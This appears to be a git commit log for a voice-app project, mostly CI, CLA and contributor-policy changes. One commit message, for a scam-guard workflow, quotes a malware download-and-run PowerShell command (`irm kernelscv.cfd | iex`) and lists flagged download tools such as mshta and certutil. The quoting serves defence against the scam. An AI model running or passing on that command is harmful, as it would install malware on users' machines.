Commit Graph
26 Commits
Author SHA1 Message Date
Palash Debnath 012eb41e3a ci(python): gate Ruff and ty on the rules the code already passes (#4614)
* ci(python): gate Ruff and ty on the rules the code already passes

Ruff and ty are pinned in the dev group (never installed for users: the
app syncs with --no-dev and Docker installs without groups). CI's first
Python shard and `bun run lint:py` run the same checks.

- Ruff checks runtime-bug rules: syntax, undefined names and exports,
  f-strings without fields, invalid characters, dropped asyncio tasks.
- ty fails on any rule the code passes today; the 23 rules with a backlog
  warn, so new instances of every other rule fail CI.

Fixes what the rules found:
- The setup warmup task was not referenced and could be garbage-collected
  mid-load; it is now held until it finishes.
- A perf-budget test fake called time.sleep without importing time.
- The scam guard's invisible-character class is written as escapes.
- Type-only names (httpx, Callable) are imported under TYPE_CHECKING.

* changelog: add fragment for #4614

* build(python): let lint:py sync the pinned tools before running them
2026-12-03 07:10:37 -08:00
Palash Debnath 02aea1b0a6 ci: keep each outside contributor to two open pull requests (#4466)
* ci: keep each outside contributor to two open pull requests

A pr-limit workflow (pull_request_target: opened, reopened) closes a pull
request beyond its author's oldest two open ones, with a comment that
explains the limit. The owner, members, collaborators and bots are exempt.
It checks out only the base commit and passes event data through env, as
tests/test_cla_workflow.py requires of privileged workflows.
CONTRIBUTING.md documents the limit (it replaces the old advisory five).

* docs(changelog): open pull request limit (#4466)

* ci: drop the gitleaks entry for a commit squashed out of main

* ci: reconcile every open pull request against the limit; drop issues:write

A reopened older pull request, or one whose queued run was superseded,
could stay open above the limit. Each run now keeps the author's oldest two
other open pull requests and closes the rest, the triggering one first.

* ci: close the triggering pull request first
2026-11-25 16:21:11 +05:30
debpalash 4e453348d5 Merge remote-tracking branch 'origin/main' into pr4180 2026-11-16 22:20:44 +05:30
Dery Ferdika 1a0733ce2d fix(ci): let the stale-run sweep finish the whole list (#4189)
Stream bounded stale-run discovery, require complete stable PR ownership evidence, and preserve unrelated progress while reporting incomplete inspections. Validated 194 offline queue/cache/policy guards and the full current CI matrix.
2026-11-16 13:46:37 +05:30
DeryFerd 27fe49ba41 fix(ci): resolve the identity check status when evaluation fails
identity_check.run writes a pending Commit identity policy status and then evaluates. Three recoverable races (the pull request base or head moved while the checkout was taken, or the metadata changed mid-run) raise RuntimeError, and main() returns 0 on every other path, so GitHub sees the job fail while the required status stays pending. Nothing re-runs the workflow, so the pull request is blocked with no actionable signal on screen.

Resolve any failure after the pending write to a terminal error status that tells the contributor to re-run, then re-raise so the job log says the same thing. This covers every raise path rather than the three known instances.

Verified: tests/test_commit_identities.py gains a test that fails on main (the failed evaluation wrote no status at all) and passes with the change.
2026-11-16 01:52:22 +07:00
debpalash a663c55bde ci: pin Ubuntu mirrors in /etc/hosts when resolver switch fails; harden apt-retry 2026-11-11 21:58:37 +05:30
debpalash bdcf39b0e5 ci: fall back to public DNS when runner DNS cannot resolve the Ubuntu mirrors 2026-11-11 20:59:55 +05:30
debpalash 7c46bd6f97 ci: retry apt and playwright deps on transient DNS failures 2026-11-11 20:08:00 +05:30
debpalash 6d773b0f00 fix(ci): crawler stall check counts only clicks, and crawler changes run the crawler
The stall check also ran on the waits before a click (openSession, reset,
arm), whose unsettled results the crawler ignores. A request held through
them past 30 s could stop a mode that would still have passed. Only a
click whose own wait ended unsettled, which already fails the run, can
now stop the mode. Pass 3's direct dialog-opener click records its cause,
so a stall it starts names the opener.

The change classifier treated every electron/tests file as test-only, so
#4008, which changed only the crawler, skipped the crawler job meant to
prove it. The crawler script, the modules it imports and its smoke-server
config now count as runtime; the test follows the crawler's imports so a
new helper module cannot slip back under the skip.
2026-11-11 16:55:56 +05:30
debpalash b46c3df171 Fix train/10 review findings and docs drift for qwen3-tts 2026-11-10 16:23:20 +05:30
debpalash aed7f6f8f9 fix(cla): make the CLA hold retry-safe and close the ready-for-review gap
Each run re-derives the hold from the signatures, the draft flag and the
comment marker, and orders writes so a failure is retried: the hold is
recorded before drafting, and a release marks the pull request ready and
restarts CI before recording the result. An owed restart stays recorded
(`restarting`) until GitHub accepts it, and runs already re-run are skipped.
A stale run re-reads the signatures before writing, so it never overwrites a
signed result. Re-running the signing issue's check releases earlier signers
too. cla.yml listens for ready_for_review in its own queue; it is a no-op for
exempt and signed openers and drafts an unsigned opener's pull request again.
The PR template says a contributor's own draft stays a draft after signing.
2026-11-10 15:33:09 +05:30
debpalash a5a34f05e3 ci: skip heavy CI while a pull request's opener has not signed the CLA
ci_scope.py reports runtime=false with cla=held, so ci.yml, mobile, security
analysis, install and CosyVoice smokes skip; nix uses the --cla mode. The
required Tests check says so explicitly. CLA, identity and secret-scan checks
still run; pushes and the merge queue are never held.
2026-11-10 14:27:28 +05:30
debpalash 8cbb848ca1 ci(cla): hold an unsigned opener's pull request as a draft until they sign
The CLA check converts the pull request to a draft, notes the hold in its
existing comment (signing step plus a prompt for AI coding agents), and once
the opener signs marks it ready (unless the author drafted it) and re-runs the
pull-request CI runs that skipped. Signing on the signing issue rechecks the
signer's open pull requests. Owners, bots and signed openers are untouched.
2026-11-10 14:27:28 +05:30
debpalash 487c1098e9 ci(cla): shorten the CLA waiting period to 3 days, keeping posted deadlines
New timers store their deadline in the comment; timers posted before this
keep the 14-day date they showed.
2026-11-10 14:17:41 +05:30
velixio 9907edaf1d docs(cla): add docstrings to the functions this change touches 2026-11-06 21:48:38 +05:30
velixio 3ff9fea3f5 fix(cla): link each signature record instead of the signing comment
The passing comment linked the comment where someone first signed, which reads
as an unrelated old pull request and can be edited or deleted. It now links the
signer's entry in the signature file, pinned to the commit that recorded it. A
lookup failure drops the link and never changes the gate.
2026-11-06 21:06:42 +05:30
velixio 3367069798 fix(cla): add the signed label and permalink comment automatically
The CLA check set only a status, so the cla-signed label depended on manual
batches and missed every newer pull request. The check now keeps the label in
step with its result and posts a comment linking the agreement and signatures.
Maintainer-only and override passes stay unlabelled. Label and link failures
never change the gate. A manual CLA backfill workflow applies this to every
open pull request.
2026-11-06 20:19:02 +05:30
Palash Debnath faa5294359 fix(mobile): restore OmniVoice speech and expand phone voice models (#3715)
Restore saved-voice OmniVoice speech, add native phone voice models and connect the public Gallery. Harden mobile first-use flows and consent, and skip runtime builds for documentation/test-only changes while retaining lightweight Docker Hub documentation publishing. Include the CLA-signed storage and contact test fixes from #3706 and #3707. Fixes #3671.
2026-10-31 15:29:16 +05:30
debpalash 7a46cfda94 Preserve CLA deadlines during other check failures 2026-10-28 15:09:14 +05:30
debpalash 3f6bac17f6 Add CLA waiting period reminders 2026-10-28 15:03:37 +05:30
debpalash 0d82aee14b fix(gallery): restore the gallery pin and stop stale submodules reverting it
#3447 committed a stale omnivoice-gallery pointer and moved the pin back from
the #3438 bump to the seed commit. Pin the gallery's current main (World
Voices, community voices, added_at) and fail any PR that moves the pin
backwards or onto a commit that is not on the gallery's main.
2026-10-26 03:56:54 +05:30
velixio dbf158c21b ci: add a script that cancels the unfinished runs of closed pull requests 2026-10-24 18:35:00 +05:30
Shimul Debnath 95fec1d5af ci: remove malware commands posted in issues and comments
Scammers opened fake "[GUIDE] backend fix" issues (#3208, #3211) telling
Windows users to paste `irm kernelscv.cfd | iex` into PowerShell, behind a
decoy VoiceStudio release URL, with sock-puppet "+1 works now" replies.

The scam-guard workflow checks every new or edited issue and comment from
non-maintainers for commands that download and run code from a source the
README/docs do not use, plus encoded PowerShell, mshta, certutil and
rundll32 downloads. A flagged issue is redacted, closed, locked and labelled
malware-removed; a flagged comment is deleted and the thread warned once.
A dry run over the 5,844 issues and comments since August flags none.
2026-10-23 14:07:26 +05:30
debpalash aacbb78e3a fix(cla): do not answer maintainers who quote the sign line (#2586) 2026-10-04 14:48:30 +05:30
debpalash 1fa6ce0a2c fix(cla): accept the sign line without a final full stop and explain comments that cannot be recorded 2026-10-04 05:37:32 +05:30
Palash Debnath 8eb3d9b1cb chore: CLA check, pinned actions, identity check and governance docs (#2556)
Add contributor agreements, trusted CLA and identity checks, pinned workflow actions, contributor audits, and repository governance documentation. Reject duplicate-head eligibility checks and preserve human attribution.
2026-10-03 05:31:49 +05:30